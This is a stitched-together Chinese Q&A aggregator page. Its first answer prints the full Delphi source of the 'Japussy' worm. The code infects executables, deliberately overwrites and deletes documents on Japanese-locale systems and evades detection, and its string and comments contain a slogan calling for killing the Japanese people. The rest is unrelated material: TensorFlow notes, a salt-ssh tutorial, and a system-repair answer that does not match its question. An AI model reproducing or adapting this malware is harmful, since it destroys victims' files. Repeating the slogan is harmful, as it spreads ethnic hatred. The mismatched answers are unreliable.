當前位置:首頁 » 編程語言 » pythonfilewrite

pythonfilewrite

發布時間: 2022-08-05 07:44:45

『壹』 腳本病毒下載

熊貓燒香:
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = EB8; //PE文件主圖標的偏移量
//在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量
{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = BC; //Upx壓縮過PE文件主圖標的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = E8; //PE文件主圖標的大小744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = 444444; //感染標記
//無用碼,以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stDCall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文版操作系統標記
{ 判斷是否為windows 9.X版本 }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來,以備使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procere SendMail;
begin
//郵件終止
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
K:\YUANK Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to 8 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //小於10240的文件不被感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744位元組),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := 444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 將目標文件寫入無用碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //獲取文件大小
i := 0;
Randomize;
Max := Random(15); //寫入無用碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入無用碼,將文件徹底破壞!
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除
except
end;
end;
{ 獲得可以寫入的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
K:\YUANK Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁碟和網路盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列,避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒,避免CPU佔用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁碟上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁碟列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁碟驅動器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序並開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end.
CMD命令 shutdown -a //取消計算機中病毒後的倒記時關機。

『貳』 tf.summary.filewriter改成什麼形式

TensorFlow Debugger (tfdbg):命令行介面和 API
增加新的 python 3 docker 鏡像
使 pip 包兼容 pypi。現在可以通過 pip install tensorflow 命令來安裝 TensorFlow 了
Android:人員檢測+跟蹤演示,是通過使用了深度神經網路的可擴展目標檢測實現的!

『叄』 python中模擬一個簡單的賬號注冊功能,並具有驗證新賬號是否已存在的功能。

咨詢記錄 · 回答於2021-10-26

『肆』 怎麼通過salt-ssh進行認證

salt-ssh 可以獨立運行的,不用minion的~ 要是需要用salt-ssh的特殊參數,比如grains獲取數據的話,還是需要安裝minion的,不然他是不好判斷你是redhat,debian的 ~ 說句廢話 要是能安裝minion,誰還用salt-ssh呀。。。。

這類ssh的集群工具還是不少的,我這邊簡單分析下優缺點!
pdsh、pssh 這東西是要建立在你做好了key關聯之後,他的優點就是簡單,並發執行。

Python

1
2
3
4
5
6
7

vi server1.txt
192.168.1.11
192.168.1.12
192.168.1.13
192.168.1.14
pssh -h server1.txt -l root -P dir

expect 最大的有點就是交互,但是要成高性能的話,需要自己寫多線程的。

Python

1
2
3
4
5
6
7
8
9
10
11

#!/usr/bin/expect -f
set toip [lindex $argv 0 ]
set ip 10.2.20.14
set password 123123
set timeout 10
spawn ssh root@$ip
expect {
"*yes/no" { send "yes\r"; exp_continue}
"*password:" { send "$password\r" }
}

fabric、paramiko python之利器,用過一段時間,該有的都有的,很是強大

Python

1
2
3
4

from fabric import env
env.hosts = ['user1@host1:port1', '[email protected]']
env.passwords = {'user1@host1:port1': 'password1', '[email protected]': 'password2'}

但是個人覺得salt-api背靠著saltstack這個大樹,前景還是不錯的。

salt-ssh 可以代替expect之類的密碼推送腳本,另外說明下 salt-ssh 用的是sshpass進行密碼交互的,首先看下版本,17版本後才開始有的,現在基本都是2014了。

我們先開始安裝 salt-ssh ~

Python

1
2
3
4

git clone https://github.com/saltstack/salt.git
cd salt
./setup.py install

salt-ssh

我們可以把要執行的信息,也就是ip,帳號,密碼等 都放到一個文件裡面。當然

文件路徑是可以隨便定義的,官方是指定到了 /etc/salt/roster

那我們先來測試下salt-ssh最基本的用法。

接著來測試下他的性能,注重於是不是並發執行 ~ 結果讓人很爽,是多進程並發執行的~

詳細的參數:
指定roster信息文件,這樣可以隨意配置定義了。

配置一個默認的密碼,然後幫你推送下 ~~~ 這個功能有點怪,規范點的公司,大家的密碼都是隨機生成的。當然也可以配置成不同的ip不同的密碼。

重大發現: 我在這里補充下~
salt-ssh 第一次執行是根據roster的賬號密碼推送密碼,來實現自動交互的。
執行完了後 會在目標的伺服器裡面,追加master端的key
然後你就可以刪除roster裡面的passwd 密碼條目了。
我給大家測試下,我把passwd刪除了,還是可以運行,這里就不是用sshpass推送密碼了,而是直接通過key了 !!!

那關於salt-ssh的參數還是不少的,大家自己看吧 ~

Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

salt-ssh
Synopsis
salt-ssh '*' [ options ] sys.doc
salt-ssh -E '.*' [ options ] sys.doc cmd
Description
Salt ssh allows for salt routines to be executed using only ssh for transport
Options
-r, --raw, --raw-shell
Execute a raw shell command.
要執行的命令,支持管道和常用的特殊符號
--roster-file
Define which roster system to use, this defines if a database backend, scanner, or custom roster system is used. Default is the flat file roster.
指定一個信息文件
--refresh, --refresh-cache
Force a refresh of the master side data cache of the target's data. This is needed if a target's grains have been changed and the auto refresh timeframe has not been reached.
--max-procs
Set the number of concurrent minions to communicate with. This value defines how many processes are opened up at a time to manage connections, the more running process the faster communication should be, default is 25.
--passwd
Set te default password to attempt to use when authenticating.
--key-deploy
Set this flag to attempt to deploy the authorized ssh key with all minions. This combined with --passwd can make initial deployment of keys very fast and easy.
--version
Print the version of Salt that is running.
--versions-report
Show program's dependencies and version number, and then exit
-h, --help
Show the help message and exit
-c CONFIG_DIR, --config-dir=CONFIG_dir
The location of the Salt configuration directory. This directory contains the configuration files for Salt master and minions. The default location on most systems is /etc/salt.
Target Selection
-E, --pcre
The target expression will be interpreted as a PCRE regular expression rather than a shell glob.
-L, --list
The target expression will be interpreted as a comma-delimited list; example: server1.foo.bar,server2.foo.bar,example7.quo.qux
-G, --grain
The target expression matches values returned by the Salt grains system on the minions. The target expression is in the format of '<grain value>:<glob expression>'; example: 'os:Arch*'
This was changed in version 0.9.8 to accept glob expressions instead of regular expression. To use regular expression matching with grains, use the --grain-pcre option.
--grain-pcre
The target expression matches values returned by the Salt grains system on the minions. The target expression is in the format of '<grain value>:< regular expression>'; example: 'os:Arch.*'
-N, --nodegroup
Use a predefined compound target defined in the Salt master configuration file.
-R, --range
Instead of using shell globs to evaluate the target, use a range expression to identify targets. Range expressions look like %cluster.
Using the Range option requires that a range server is set up and the location of the range server is referenced in the master configuration file.
Logging Options
Logging options which override any settings defined on the configuration files.
-l LOG_LEVEL, --log-level=LOG_LEVEL
Console logging log level. One of all, garbage, trace, debug, info, warning, error, quiet. Default: warning.
--log-file=LOG_FILE
Log file path. Default: /var/log/salt/ssh.
--log-file-level=LOG_LEVEL_LOGFILE
Logfile logging log level. One of all, garbage, trace, debug, info, warning, error, quiet. Default: warning.
Output Options
--out
Pass in an alternative outputter to display the return of data. This outputter can be any of the available outputters:
grains, highstate, json, key, overstatestage, pprint, raw, txt, yaml
Some outputters are formatted only for data returned from specific functions; for instance, the grains outputter will not work for non-grains data.
If an outputter is used that does not support the data passed into it, then Salt will fall back on the pprint outputter and display the return data using the Python pprint standard library mole.
Note
If using --out=json, you will probably want --static as well. Without the static option, you will get a JSON string for each minion. This is e to using an iterative outputter. So if you want to feed it to a JSON parser, use --static as well.
--out-indent OUTPUT_INDENT, --output-indent OUTPUT_INDENT
Print the output indented by the provided value in spaces. Negative values disable indentation. Only applicable in outputters that support indentation.
--out-file=OUTPUT_FILE, --output-file=OUTPUT_FILE
Write the output to the specified file.
--no-color
Disable all colored output
--force-color
Force colored output

那麼如果想針對salt-ssh模塊進行二次開發,或者加點下功能擴展。

『伍』 如何查看tensorflow summary.filewriter生成的文件

To read a TFEvent you can get a Python iterator that yields Event protocol buffers.

# This example supposes that the events file contains summaries with a
# summary value tag 'loss'. These could have been added by calling
# `add_summary()`, passing the output of a scalar summary op created with
# with: `tf.scalar_summary(['loss'], loss_tensor)`.
for e in tf.train.summary_iterator(path_to_events_file):
for v in e.summary.value:
if v.tag == 'loss' or v.tag == 'accuracy':
print(v.simple_value)

『陸』 python中腦瘤圖像分割錯誤RuntimeError: Exception thrown in SimpleITK ReadImage

有系統啟動自動載入的程序的某個文件壞了,無法運行整個程序,直接跳到了文件結束部分。

原因和解決辦法:
1-利用工具軟體看看啟動時自動載入那些程序,把不用的幹掉,優化大師等是首選的工具;
2-系統文件損壞,此時只能通過修復系統文件解決。方法:sfc命令,有參數可選:
/SCANNOW 立即掃描所有受保護的系統文件。
/SCANONCE 下次啟動時掃描所有受保護的系統文件。
/SCANBOOT 每次啟動時掃描所有受保護的系統文件。
/REVERT 將掃描返回到默認設置。
/PURGECACHE 清除文件緩存
/CACHESIZE=x 設置文件緩存大小。
或者用光碟選擇安裝系統,然後選擇修復系統,按R鍵修復選擇的系統,此時你系統中的已安裝程序都會正常保留的,Office、Photo等都會正常不用重新裝,Outlook的郵件和帳號也在。但是如果你選擇了ESC鍵全新安裝,那麼真的是全新安裝,所有程序都沒了。

熱點內容
易語言靜態編譯後軟體位置 發布:2025-01-23 01:05:38 瀏覽:465
剪力牆壓腳筋大小怎麼配置 發布:2025-01-23 00:50:53 瀏覽:534
騰訊雲cos雲伺服器 發布:2025-01-23 00:46:47 瀏覽:63
如何給安卓平板刷上MIUI系統 發布:2025-01-23 00:45:51 瀏覽:73
2開方演算法 發布:2025-01-23 00:27:21 瀏覽:16
如何看自己steam伺服器 發布:2025-01-23 00:07:21 瀏覽:710
armlinux命令 發布:2025-01-23 00:01:08 瀏覽:137
戰地4亞洲伺服器為什麼被攻擊 發布:2025-01-22 23:45:42 瀏覽:671
javascript反編譯 發布:2025-01-22 23:37:57 瀏覽:432
夏天來了你的巴氏奶存儲對嗎 發布:2025-01-22 23:37:56 瀏覽:206